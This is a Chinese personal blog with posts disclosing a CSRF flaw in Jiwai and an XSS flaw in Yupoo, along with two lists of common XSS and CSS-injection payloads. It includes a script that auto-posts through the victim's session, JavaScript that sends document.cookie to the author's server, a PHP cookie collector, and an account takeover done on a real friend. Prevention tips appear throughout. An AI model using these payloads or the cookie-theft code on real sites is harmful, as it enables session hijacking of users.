無標題文檔

「安全那些事儿」

这段时期由于 找到几个线上的漏洞 ,勾起了兄弟们对于安全方面的兴趣。我也正好乘热打铁,做了个简单的分享( 在线观看 / 下载 )。主要内容有:

  1. 前端同样应该关注安全
  2. 典型的 Web 攻击方式(XSS、CSRF 等)

虽然内容不是很多,但结合实例,能让我们的组员能对安全这块的感兴趣,我想就已经达到目的了 :^)

叽歪的 CSRF 漏洞

声明,此漏洞已提交叽歪官方处理(2009-02-05),本案例仅作技术研究。由此漏洞造成的所有后果,本人不承担任何责任。

参加集团「精武门」安全峰会时, 80sec 团队对于饭否的 CSRF 蠕虫攻击 案例还记忆犹新。抱着对比的心态,逐个检测国内各微博客类站点的安全性能,最终「很不幸」的锁定到了 叽歪 上。

分析 叽歪页面发布信息页面 的表单,结果发现全部都是交给 updateStatus 方法处理,如图

https://friable.rocks/_/2009_02_05/1233811266.png

那么我们来看下 updateStatus 的脚本 是怎么写的(通过这个脚本,也可大体的了解叽歪的 API):

https://friable.rocks/_/2009_02_05/1233811318.png

发现 updateStatus 的脚本非常简单,就是检测下 textarea 的值是否为空(其实那样敲几个空格就可以绕过),然后就提交给服务器处理。而且逻辑上似乎有问题,返回的都是 false (或许是为了防止事件冒泡)。

既然 Javascript 方面没有增加额外的提交参数,这说明在 Javascript 禁用的情况下提交表单服务器那边也是能处理的。那么,根据叽歪发布页面的表单,尝试本地构建个同样的表单发送叽歪信息

<form action="http://jiwai.de/wo/status/update" method="post">
    <textarea name="jw_status" ></textarea>
    <input type="submit" />
</form>

结果成功了。这表明有存在 CSRF 的可能 -- 用户可以自行表单,发送信息给叽歪服务器处理,并且没有任何验证信息。

然后,非常「邪恶」地将 POST 方式改成 GET 尝试,结果发现又成功了。看来叽歪的接口没有区分 POST 和 GET,那么这样攻击的危害更扩大了层。

根据这个漏洞,简单的写了个本地 Javascript 脚本,尝试每隔一秒发送叽歪信息

setInterval(function() {
    var img = new Image();
    var message = '明城很帅';
    var api = 'http://jiwai.de/wo/status/update';
    img.src = api + '?jw_status=' + message + '&t=' + new Date().getTime();
}, 1000);

剩下就是社会学的范畴了。想到 沉鱼 小姑娘是叽歪的重度用户,于是让她打开这个页面(这时候,相貌是多么的重要)。

https://friable.rocks/_/2009_11_05/419606edd996.jpg

结果自然是预期所想的,顺便发现叽歪也没有限制发送信息的频率。就这样打住,通过这个漏洞进行蠕虫等进一步攻击等已是唾手可得。

最后,啰嗦下防范 CSRF 攻击 的「军规」:

  1. 在请求中使用 Security token
  2. 正确使用 GET、POST 和 Cookie
  3. 使用 Referer 判断请求来源

后记

截止发文时(2009-02-07),叽歪已经修复了该漏洞,增加了个 Security token :

<input type="hidden" value="..." name="crumb" />

Yupoo 的 XSS 漏洞攻击实录

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。

https://friable.rocks/_/2009_11_05/113846d10845.jpg

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

https://friable.rocks/_/2009_11_05/742516d10846.jpg

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。

https://friable.rocks/_/2009_11_05/574966d10846.jpg

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

https://friable.rocks/_/2009_11_05/427946d10847.jpg

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

https://friable.rocks/_/2009_11_05/881866d10848.jpg

https://friable.rocks/_/2009_11_05/826286d10848.jpg

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

常见的 XSS 注入攻击方式 Part.2

接上一期 ,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

<xss style="behavior: url(xss.htc);">

上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

<div style="background-image: xss.jpg">

谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。

<div style="width: expression(alert('xss'));">

<img style="xss:expr/*xss*/ession(alert('xss'))">

exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>

针对 Exploer 的 Expression 要保持「淡定」,最好的做法就是过滤 style 属性。

如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞

<!--[if gte IE 4]>
    <script>alert('xss');</script>
<![endif]-->

安全性问题,这个时候我反而感谢 Exploer 提供那么多的「机会」。

-- Split --

那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips

  1. 假定所有的用户输入数据都是「邪恶」的
  2. 弱类型的脚本语言必须保证类型和期望的一致
  3. 考虑周全的正则表达式
  4. strip_tags、htmlspecialchars 这类函数很好用
  5. 外部的 Javascript 不一定就是可靠的
  6. 引号过滤必须要重点注意
  7. 除去不必要的 HTML 注释
  8. Exploer 求你放过我吧……

常见的 XSS 注入攻击方式 Part.1

前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//

";alert('xss');//

'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>

<script/SRC="xss.js"></script>

<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">

<img """><script>alert("xss")</script>">

<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>

<script =">" SRC="xss.js"></script>

<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>

<iframe src="javascript:alert('xss');"></iframe>

<embed src="xss.swf" AllowScriptAccess="always"></embed>

<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 其实无所谓叫什么名字,作为码农知道取名是件很难的事情。最后想到的这个名字,其实都没啥特别的含义,系统默认的文件名而已。

作为八零后,自认为还仅存点傲娇式的幽默感,以及对平淡生活的追求和向往。 为了免得对号入座和不必要的麻烦,声明本站点所持观点仅代表个人意见,不代表自己所服务公司的立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQGdyYWNlY29kZS5jb20K | base64 -d`

文章

项目